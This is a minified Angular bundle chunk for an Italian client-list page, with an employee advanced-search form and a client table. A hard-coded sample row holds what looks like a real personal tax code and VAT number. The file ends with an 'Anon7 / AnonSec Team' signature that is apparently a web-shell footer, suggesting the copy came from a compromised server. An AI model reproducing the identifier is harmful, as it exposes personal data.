e=c.gc(2).$implicit;c.Cb(1),c.oc("formControlName",e.key),c.nc("items",e.options)("placeholder",c.ic(2,3,"Seleziona un'opzione"))}}function R(e,t){if(1&e&&(c.Vb(0,"div"),c.Vb(1,"h3",37),c.Ic(2),c.hc(3,"translate"),c.Ub(),c.Gc(4,T,3,1,"div",39),c.Gc(5,q,3,5,"div",39),c.Ub()),2&e){const e=c.gc().$implicit;c.Fb("col-md-",e.children&&e.children.length>0?"12":"6",""),c.Cb(2),c.Jc(c.ic(3,6,e.name)),c.Cb(2),c.nc("ngIf","text"==e.type),c.Cb(1),c.nc("ngIf","select"==e.type)}}function W(e,t){if(1&e&&(c.Vb(0,"div",36),c.Qb(1,"input",40),c.Qb(2,"i",41),c.Ub()),2&e){const e=c.gc(2).$implicit;c.Cb(1),c.oc("formControlName",e.key)}}function j(e,t){if(1&e&&(c.Vb(0,"div",36),c.Qb(1,"ng-select",45),c.hc(2,"translate"),c.Ub()),2&e){const e=c.gc(2).$implicit;c.Cb(1),c.oc("formControlName",e.key),c.nc("items",e.options)("placeholder",c.ic(2,3,"Seleziona un'opzione"))}}function B(e,t){if(1&e&&(c.Vb(0,"div",35),c.Vb(1,"h3",37),c.Ic(2),c.hc(3,"translate"),c.Vb(4,"span",44),c.Ic(5),c.hc(6,"translate"),c.Ub(),c.Ub(),c.Gc(7,W,3,1,"div",39),c.Gc(8,j,3,5,"div",39),c.Ub()),2&e){const e=c.gc().$implicit,t=c.gc().$implicit;c.Cb(2),c.Kc("",c.ic(3,4,e.name)," "),c.Cb(3),c.Kc("- (",c.ic(6,6,t.name),")"),c.Cb(2),c.nc("ngIf","text"==e.type),c.Cb(1),c.nc("ngIf","select"==e.type)}}function $(e,t){if(1&e&&(c.Tb(0),c.Gc(1,B,9,8,"div",43),c.Sb()),2&e){const e=c.gc().$implicit;c.Cb(1),c.nc("ngIf",e.active)}}function D(e,t){if(1&e&&(c.Tb(0),c.Gc(1,E,17,20,"ng-container",33),c.Gc(2,R,6,8,"div",34),c.Gc(3,$,2,1,"ng-container",20),c.Sb()),2&e){const e=t.$implicit;c.Cb(1),c.nc("ngIf",e.active&&"date"==e.type),c.Cb(1),c.nc("ngIf",e.active&&"date"!=e.type),c.Cb(1),c.nc("ngForOf",e.children)}}function Y(e,t){if(1&e){const e=c.Wb();c.Vb(0,"div",8),c.Vb(1,"div",9),c.Vb(2,"div",10),c.Vb(3,"div",21),c.Vb(4,"h4",12),c.Ic(5),c.hc(6,"translate"),c.Ub(),c.Vb(7,"h6",22),c.Ic(8),c.hc(9,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Vb(10,"div",23),c.Vb(11,"div",24),c.Vb(12,"div",15),c.Vb(13,"div",25),c.Gc(14,J,6,7,"div",20),c.Ub(),c.Qb(15,"br"),c.Vb(16,"form",26),c.cc("ngSubmit",function(){return c.Ac(e),c.gc().getAdvSearchUserse()}),c.Vb(17,"div",27),c.Vb(18,"div",10),c.Gc(19,D,4,3,"ng-container",20),c.Ub(),c.Qb(20,"br"),c.Ub(),c.Vb(21,"div",28),c.Vb(22,"button",29),c.cc("click",function(){return c.Ac(e),c.gc().showAdvBox()}),c.Qb(23,"i",30),c.Ic(24),c.hc(25,"translate"),c.Ub(),c.Ic(26," \xa0 "),c.Vb(27,"button",31),c.cc("type",function(){return c.Ac(e),c.gc().submit}),c.Qb(28,"i",5),c.Ic(29),c.hc(30,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub()}if(2&e){const e=c.gc();c.Cb(5),c.Jc(c.ic(6,7,"Ricerca Avanzata")),c.Cb(3),c.Kc("",c.ic(9,9,"Seleziona i criteri di ricerca per cercare i dipendenti, puoi selezionare un gruppo di criteri selezionando il titolo del gruppo (es. Anagrafica)")," "),c.Cb(6),c.nc("ngForOf",e.field_ricerca_avanzata),c.Cb(2),c.nc("formGroup",e.advSearchForm),c.Cb(3),c.nc("ngForOf",e.field_ricerca_avanzata),c.Cb(5),c.Kc(" ",c.ic(25,11,"Chiudi")," "),c.Cb(5),c.Kc(" ",c.ic(30,13,"Cerca")," ")}}function Z(e,t){1&e&&(c.Vb(0,"tr"),c.Vb(1,"td",46),c.Ic(2," Modis "),c.Ub(),c.Vb(3,"td",46),c.Ic(4," 11788890157 "),c.Ub(),c.Vb(5,"td",47),c.Ic(6," CMZFSF40E16I093R "),c.Ub(),c.Vb(7,"td",47),c.Ic(8," Marilyn "),c.Ub(),c.Vb(9,"td"),c.Ic(10),c.hc(11,"translate"),c.Ub(),c.Vb(12,"td"),c.Ic(13,"Maddy"),c.Ub(),c.Vb(14,"td"),c.Ic(15,"Milano"),c.Ub(),c.Qb(16,"td"),c.Qb(17,"td"),c.Qb(18,"td"),c.Qb(19,"td"),c.Vb(20,"td"),c.Ic(21,"IT"),c.Ub(),c.Vb(22,"td",48),c.Vb(23,"table",49),c.Vb(24,"tr"),c.Vb(25,"td",50),c.Vb(26,"button",51),c.hc(27,"translate"),c.Qb(28,"i",52),c.Ub(),c.Ub(),c.Vb(29,"td",50),c.Vb(30,"button",53),c.hc(31,"translate"),c.Qb(32,"i",54),c.Ub(),c.Ub(),c.Vb(33,"td",50),c.Vb(34,"button",55),c.hc(35,"translate"),c.Qb(36,"i",56),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub()),2&e&&(c.Cb(10),c.Jc(c.ic(11,4,"Status 1")),c.Cb(16),c.nc("tooltip",c.ic(27,6,"Visualizza Cliente")),c.Cb(4),c.nc("tooltip",c.ic(31,8,"Modifica Cliente")),c.Cb(4),c.nc("tooltip",c.ic(35,10,"Cancella Cliente")))}let H=(()=>{class e{constructor(e,t,i,n,a,r,c,o,l){this.fb=e,this.clientService=t,this.employeesService=i,this.change=n,this.router=a,this.excelService=r,this.translate=c,this.utilsService=o,this.ngselectConfig=l,this.clientList=[],this.professional_profiles=new Array,this.create=!1,this.macroareas=new Array,this.categories=new Array,this.skills=new Array,this.showAdvBoxFlag=!1,this.events=[],this.allMacroareas=new Array,this.allSkills=new Array,this.nums=[],this.nums=[0,1,2,3,4],this.ngselectConfig.notFoundText="Nessun risultato trovato",this.clientSearch=!1,this.allEmpSkillsSector=new Array,this.genderOpt=["","M","F"],this.experienceOpt=["","0","1","2","3","4","5","6","7","8","9","10+"],this.languagesListOpt=this.getAllLanguageList(),this.langLevelOpt=["","A1","A2","B1","B2","C1","C2"],this.rolesListOpt=this.getRolesListOpt();const s=this.getAllEmployeeSkillsSector();console.log("allSkillsSector value : "+s),this.getSkillsName(),this.getMacroareas(),this.getAllSkillsCategories(),this.labelBtnAdvSearch="Ricerca Avanzata",this.field_ricerca_avanzata=[{type:"text",name:"Nome",active:!0,key:"name",required:!1,minlenght:!1,maxlenght:!1},{type:"text",name:"Cognome",active:!0,key:"surname"},{type:"text",name:"Email",active:!0,key:"email"},{type:"select",options:this.rolesListOpt,name:"Ruolo",active:!0,key:"ruolo"},{type:"text",name:"Posizione",key:"position"},{type:"select",options:this.experienceOpt,name:"Esperienza",key:"experience"},{type:"text",name:"Location",key:"location"},{type:"select",options:this.genderOpt,name:"Gender",key:"gender"},{type:"select",options:this.allSkills,key:"skills_name",name:"Skill",children:[{type:"select",options:this.allEmpSkillsSector,key:"sector",name:"Settore"},{type:"select",options:this.allMacroareas,key:"macro_areas_name",name:"Macro Area"}]},{type:"select",options:this.languagesListOpt,key:"language",name:"Lingua",children:[{type:"select",options:this.langLevelOpt,key:"spoken",name:"Parlato"},{type:"select",options:this.langLevelOpt,key:"speek",name:"Scritto"}]},{type:"date",key:"created_at",name:"Data Creazione",active:!0},{type:"date",key:"updated_at",name:"Data Ultimo Aggiornamento"}];let b=this.generateFormValidator();this.advSearchForm=e.group(b)}changeLanguage(e){r.a.setLang(e)}generateFormValidator(){let e={};for(let t=0;t<this.field_ricerca_avanzata.length;t++)if("date"==this.field_ricerca_avanzata[t].type){e[this.field_ricerca_avanzata[t].key+"_start"]=["",[]];let i=e[this.field_ricerca_avanzata[t].key+"_start"][1];"required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key+"_start"][i.lenght]=o.v.required),e[this.field_ricerca_avanzata[t].key+"_end"]=["",[]],i=e[this.field_ricerca_avanzata[t].key+"_end"][1],"required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key+"_end"][i.lenght]=o.v.required)}else{e[this.field_ricerca_avanzata[t].key]=[null,[]];let i=e[this.field_ricerca_avanzata[t].key][1];if("required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key][i.lenght]=o.v.required),"minlenght"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].minlenght&&(e[this.field_ricerca_avanzata[t].key][i.lenght]=o.v.minLength(this.field_ricerca_avanzata[t].minlenght)),"maxlenght"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].maxlenght&&(e[this.field_ricerca_avanzata[t].key][i.lenght]=o.v.maxLength(this.field_ricerca_avanzata[t].maxlenght)),"children"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].children.length>0)for(let n=0;n<this.field_ricerca_avanzata[t].children.length;n++){e[this.field_ricerca_avanzata[t].children[n].key]=["",[]];let i=e[this.field_ricerca_avanzata[t].children[n].key][1];"required"in this.field_ricerca_avanzata[t].children[n]&&this.field_ricerca_avanzata[t].children[n].required&&(e[this.field_ricerca_avanzata[t].children[n].key][i.lenght]=o.v.required),"minlenght"in this.field_ricerca_avanzata[t].children[n]&&this.field_ricerca_avanzata[t].children[n].minlenght&&(e[this.field_ricerca_avanzata[t].children[n].key][i.lenght]=o.v.minLength(this.field_ricerca_avanzata[t].children[n].minlenght)),"maxlenght"in this.field_ricerca_avanzata[t].children[n]&&this.field_ricerca_avanzata[t].children[n].maxlenght&&(e[this.field_ricerca_avanzata[t].children[n].key][i.lenght]=o.v.maxLength(this.field_ricerca_avanzata[t].children[n].maxlenght))}}return e}ngOnInit(){}ngAfterViewInit(){}ngOnDestroy(){}getAdvSearchUserse(){var e,t,i,n,a,r,c,o,l,s,b,d,h,u,m,g,p,f,v,_,C,V;const U=new Map,y=null===(e=this.advSearchForm.get("email"))||void 0===e?void 0:e.value,S=null===(t=this.advSearchForm.get("name"))||void 0===t?void 0:t.value,I=null===(i=this.advSearchForm.get("surname"))||void 0===i?void 0:i.value,z=null===(n=this.advSearchForm.get("role"))||void 0===n?void 0:n.value,x=null===(a=this.advSearchForm.get("position"))||void 0===a?void 0:a.value,k=null===(r=this.advSearchForm.get("experience"))||void 0===r?void 0:r.value,O=null===(c=this.advSearchForm.get("location"))||void 0===c?void 0:c.value,F=null===(o=this.advSearchForm.get("gender"))||void 0===o?void 0:o.value,w=null===(l=this.advSearchForm.get("sector"))||void 0===l?void 0:l.value,P=null===(s=this.advSearchForm.get("macro_area"))||void 0===s?void 0:s.value,M=null===(b=this.advSearchForm.get("categories_name"))||void 0===b?void 0:b.value,A=null===(d=this.advSearchForm.get("skillName"))||void 0===d?void 0:d.value,Q=null===(h=this.advSearchForm.get("lingua"))||void 0===h?void 0:h.value,L=null===(u=this.advSearchForm.get("written"))||void 0===u?void 0:u.value,G=null===(m=this.advSearchForm.get("spoken"))||void 0===m?void 0:m.value,K=null===(g=this.advSearchForm.get("edu_name"))||void 0===g?void 0:g.value,N=null===(p=this.advSearchForm.get("edu_level"))||void 0===p?void 0:p.value,J=null===(f=this.advSearchForm.get("edu_title"))||void 0===f?void 0:f.value,E=null===(v=this.advSearchForm.get("edu_title"))||void 0===v?void 0:v.value,T=null===(_=this.advSearchForm.get("edu_nome_scuola"))||void 0===_?void 0:_.value,q=null===(C=this.advSearchForm.get("edu_comune_scuola"))||void 0===C?void 0:C.value,R=null===(V=this.advSearchForm.get("edu_provincia_scuola"))||void 0===V?void 0:V.value;null!==y&&""!==y&&U.set("users_email",y),null!==S&&""!==S&&U.set("users_name",S),null!==I&&""!==I&&U.set("users_surname",I),null!==z&&""!==z&&U.set("users_role",z),null!==O&&""!==O&&U.set("users_location",O),null!==x&&""!==x&&U.set("users_position",x),null!==k&&""!==k&&U.set("users_experience",k),null!==F&&""!==F&&U.set("users_gender",F),null!==w&&""!==w&&U.set("user_skills_sector",w),null!==P&&""!==P&&U.set("macro_areas_name",P),null!==M&&""!==M&&U.set("categories_name",M),null!==A&&""!==A&&U.set("skills_name",A),null!==Q&&""!==Q&&U.set("user_languages_name_language",Q),null!==L&&""!==L&&U.set("user_languages_written",L),null!==G&&""!==G&&U.set("user_languages_spoken",G),null!==K&&""!==K&&U.set("user_educations_name",K),null!==N&&""!==N&&U.set("user_educations_level",N),null!==J&&""!==J&&U.set("user_educations_title",J),null!==E&&""!==E&&U.set("user_educations_vote",E),null!==T&&""!==T&&U.set("schools_nome_scuola",T),null!==R&&""!==R&&U.set("schools_provincia",R),null!==q&&""!==q&&U.set("schools_comune",q)}showAdvBox(){this.showAdvBoxFlag=!this.showAdvBoxFlag,this.labelBtnAdvSearch=this.showAdvBoxFlag?"Nascondi Ricerca":"Ricerca Avanzata"}existsCategory(e){let t=!1;return this.categories.forEach(i=>{i.id_category===e&&(t=!0)}),t}existsMacroarea(e){let t=!1;return this.macroareas.forEach(i=>{i.id_macroarea===e&&(t=!0)}),t}getAllLanguageList(){this.utilsService.getLanguagesList().pipe(Object(_.a)(),Object(C.a)(e=>{e.status&&(this.languagesListOpt=e.message,console.log(this.languagesListOpt))})).subscribe()}getRolesListOpt(){}getAllEmployeeSkillsSector(){}getMacroareas(){this.utilsService.getMacroareas().pipe(Object(_.a)(),Object(C.a)(e=>{e.status&&(this.allMacroareas=e.message)})).subscribe()}getSkillsName(){this.utilsService.getSkills().pipe(Object(_.a)(),Object(C.a)(e=>{e.status&&(this.allSkills=e.message,this.skills.forEach(e=>{for(let t=0;t<this.allSkills.length;t++)this.allSkills[t].name===e.name&&this.allSkills[t].this.allSkills.splice(t,1)}))})).subscribe()}getAllSkillsCategories(){this.utilsService.getCategories().pipe(Object(_.a)(),Object(C.a)(e=>{e.status&&(this.allCategories=e.message)})).subscribe()}}return e.\u0275fac=function(t){return new(t||e)(c.Pb(o.e),c.Pb(L),c.Pb(w.a),c.Pb(c.h),c.Pb(n.f),c.Pb(P.a),c.Pb(r.a),c.Pb(S.a),c.Pb(s.b))},e.\u0275cmp=c.Jb({type:e,selectors:[["app-clients-list"]],viewQuery:function(e,t){if(1&e&&c.Mc(N,1),2&e){let e;c.wc(e=c.dc())&&(t.ngselect=e.first)}},decls:69,vars:50,consts:[[1,"content__title","row"],[1,"col-3"],[1,"col-9","text-right"],[1,"actions"],["routerLink","/clients/insert",1,"btn","btn-orange","mod","btn--icon-text","text-center"],[1,"zmdi","zmdi-account-add"],[1,"d-none","d-md-inline"],["class","card",4,"ngIf"],[1,"card"],[1,"card-body"],[1,"row"],[1,"col-6","pt-2"],[1,"card-title"],[1,"col-6","text-right"],[1,"w-100"],[1,"clearfix"],[1,"col-md-12","px-0","table-responsive"],[1,"table","table-bordered","w-100","text-center"],[1,"th-modis"],[1,"th-modis","d-none","d-md-table-cell"],[4,"ngFor","ngForOf"],[1,"col-12","pt-2"],[1,"card-subtitle"],[1,"row","mx-0","w-100"],[1,"w-100","pt-3"],[1,"row","pl-3","pr-3"],[3,"formGroup","ngSubmit"],[1,"mb-2"],[1,"col","right"],[1,"btn","btn-dark","mod","btn--icon-text",3,"click"],[1,"zmdi","zmdi-close"],[1,"btn","btn-orange","mod","btn--icon-text",3,"type"],[1,"badge","mb-3","button-search-adv-field",3,"ngClass","click"],[4,"ngIf"],[3,"class",4,"ngIf"],[1,"col-md-6"],[1,"form-group"],[1,"card-body__title"],["mode","week","format","YYYY / [W]W","placement","bottom left",1,"h-33","w-100",3,"model","placeholder","modelChange"],["class","form-group",4,"ngIf"],["type","text","placeholder","","required","",1,"form-control",3,"formControlName"],[1,"form-group__bar"],["bindLabel","field.name",1,"border-select",3,"items","placeholder","formControlName"],["class","col-md-6",4,"ngIf"],[1,"color_9c"],["bindLabel","children_field.name",1,"border-select",3,"items","placeholder","formControlName"],[1,"align-middle","text-left"],[1,"align-middle","text-left","d-none","d-md-table-cell"],[1,"align-middle","text-right"],[1,"m-0","p-0","w-100"],[1,"border-0","text-center"],["disabled","","type","button",1,"btn","btn-info","active","btn-cube","text-center","mr-2",3,"tooltip"],[1,"icon","zmdi","zmdi-assignment"],["disabled","","type","button",1,"btn","btn-dark","text-center","btn-cube","mr-2",3,"tooltip"],[1,"icon","zmdi","zmdi-edit"],["disabled","","type","button",1,"btn","btn-danger","active","btn-cube","text-center",3,"tooltip"],[1,"icon","zmdi","zmdi-delete"]],template:function(e,t){1&e&&(c.Vb(0,"header",0),c.Vb(1,"div",1),c.Vb(2,"h1"),c.Ic(3),c.hc(4,"translate"),c.Ub(),c.Ub(),c.Vb(5,"div",2),c.Vb(6,"div",3),c.Vb(7,"button",4),c.Qb(8,"i",5),c.Vb(9,"span",6),c.Ic(10),c.hc(11,"translate"),c.Ub(),c.Ub(),c.Ic(12," \xa0 "),c.Ub(),c.Ub(),c.Ub(),c.Gc(13,Y,31,15,"div",7),c.Vb(14,"div",8),c.Vb(15,"div",9),c.Vb(16,"div",10),c.Vb(17,"div",11),c.Vb(18,"h4",12),c.Ic(19),c.hc(20,"translate"),c.Ub(),c.Ub(),c.Qb(21,"div",13),c.Ub(),c.Vb(22,"div",14),c.Vb(23,"div",15),c.Vb(24,"div",16),c.Vb(25,"table",17),c.Vb(26,"thead"),c.Vb(27,"tr"),c.Vb(28,"th",18),c.Ic(29),c.hc(30,"translate"),c.Ub(),c.Vb(31,"th",18),c.Ic(32),c.hc(33,"translate"),c.Ub(),c.Vb(34,"th",19),c.Ic(35),c.hc(36,"translate"),c.Ub(),c.Vb(37,"th",19),c.Ic(38),c.hc(39,"translate"),c.Ub(),c.Vb(40,"th",18),c.Ic(41),c.hc(42,"translate"),c.Ub(),c.Vb(43,"th",18),c.Ic(44),c.hc(45,"translate"),c.Ub(),c.Vb(46,"th",18),c.Ic(47),c.hc(48,"translate"),c.Ub(),c.Vb(49,"th",18),c.Ic(50),c.hc(51,"translate"),c.Ub(),c.Vb(52,"th",18),c.Ic(53),c.hc(54,"translate"),c.Ub(),c.Vb(55,"th",18),c.Ic(56),c.hc(57,"translate"),c.Ub(),c.Vb(58,"th",18),c.Ic(59),c.hc(60,"translate"),c.Ub(),c.Vb(61,"th",18),c.Ic(62),c.hc(63,"translate"),c.Ub(),c.Vb(64,"th",18),c.Ic(65),c.hc(66,"translate"),c.Ub(),c.Ub(),c.Ub(),c.Vb(67,"tbody"),c.Gc(68,Z,37,12,"tr",20),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub(),c.Ub()),2&e&&(c.Cb(3),c.Jc(c.ic(4,18,"Clienti")),c.Cb(7),c.Jc(c.ic(11,20,"Nuovo Cliente")),c.Cb(3),c.nc("ngIf",t.showAdvBoxFlag),c.Cb(6),c.Kc(" ",c.ic(20,22,"Lista Clienti"),""),c.Cb(10),c.Jc(c.ic(30,24,"Nome Azienda")),c.Cb(3),c.Jc(c.ic(33,26,"P.Iva")),c.Cb(3),c.Jc(c.ic(36,28,"Cod. Fiscale")),c.Cb(3),c.Jc(c.ic(39,30,"Referente")),c.Cb(3),c.Jc(c.ic(42,32,"Status")),c.Cb(3),c.Jc(c.ic(45,34,"User Prospector")),c.Cb(3),c.Jc(c.ic(48,36,"Sede")),c.Cb(3),c.Jc(c.ic(51,38,"Succursale 1")),c.Cb(3),c.Jc(c.ic(54,40,"Succursale 2")),c.Cb(3),c.Jc(c.ic(57,42,"Succursale 3")),c.Cb(3),c.Jc(c.ic(60,44,"Bloccato")),c.Cb(3),c.Jc(c.ic(63,46,"Settore")),c.Cb(3),c.Jc(c.ic(66,48,"Azioni")),c.Cb(3),c.nc("ngForOf",t.nums))},directives:[n.g,l.n,l.m,o.w,o.o,o.i,l.l,G.a,o.c,o.u,o.n,o.g,s.a,K.a],pipes:[b.c],styles:['.right[_ngcontent-%COMP%]{text-align:right}.div-right[_ngcontent-%COMP%]{float:right}.radius[_ngcontent-%COMP%]{border-radius:50%}table[_ngcontent-%COMP%]   tr[_ngcontent-%COMP%]:hover{background-color:#59748163;cursor:pointer}.icon[_ngcontent-%COMP%]{margin-right:0;margin-top:-4px}.mod[_ngcontent-%COMP%]{background-color:#ffb81c;color:#000}.mod-col[_ngcontent-%COMP%]{background-color:#343a40}.table[_ngcontent-%COMP%]{color:#000;width:500px}td[_ngcontent-%COMP%]{background-color:#fff}.paginate_button[_ngcontent-%COMP%]   .current[_ngcontent-%COMP%]{background-color:#343a40!important;color:#fff}.schoolArea[_ngcontent-%COMP%]{display:block;border:1px solid #b7b7b7;padding:3px 10px 5px 5px;background-color:#9d9e9e85}.table[_ngcontent-%COMP%]   .zui-sticky-col[_ngcontent-%COMP%]{border-left:1px solid #ddefef;right:0;position:absolute;top:auto;width:auto}.table[_ngcontent-%COMP%]   .zui-sticky-col2[_ngcontent-%COMP%]{border-right:1px solid #ddefef;left:140px;position:absolute;top:auto;width:70px}.button-search-adv-field[_ngcontent-%COMP%]{cursor:pointer}.table[_ngcontent-%COMP%]   td[_ngcontent-%COMP%]{padding:.3rem!important;font-size:1rem;color:#333;vertical-align:middle!important}.table[_ngcontent-%COMP%]   td[_ngcontent-%COMP%]   p[_ngcontent-%COMP%]{text-overflow:ellipsis;white-space:nowrap;color:#8e9499;margin-bottom:0}.th-modis[_ngcontent-%COMP%]{vertical-align:middle!important}.table[_ngcontent-%COMP%] > thead[_ngcontent-%COMP%] > tr[_ngcontent-%COMP%] > th.sorting_asc[_ngcontent-%COMP%]:after, .table[_ngcontent-%COMP%] > thead[_ngcontent-%COMP%] > tr[_ngcontent-%COMP%] > th.sorting_desc[_ngcontent-%COMP%]:after{content:""}']}),e})();const X=[{path:"insert",component:F},{path:"",component:H}];let ee=(()=>{class e{}return e.\u0275fac=function(t){return new(t||e)},e.\u0275mod=c.Nb({type:e,bootstrap:[H,F,u,v]}),e.\u0275inj=c.Mb({providers:[r.a],imports:[[a.a,n.j.forChild(X)]]}),e})()}}]);

Anon7 - 2022
AnonSec Team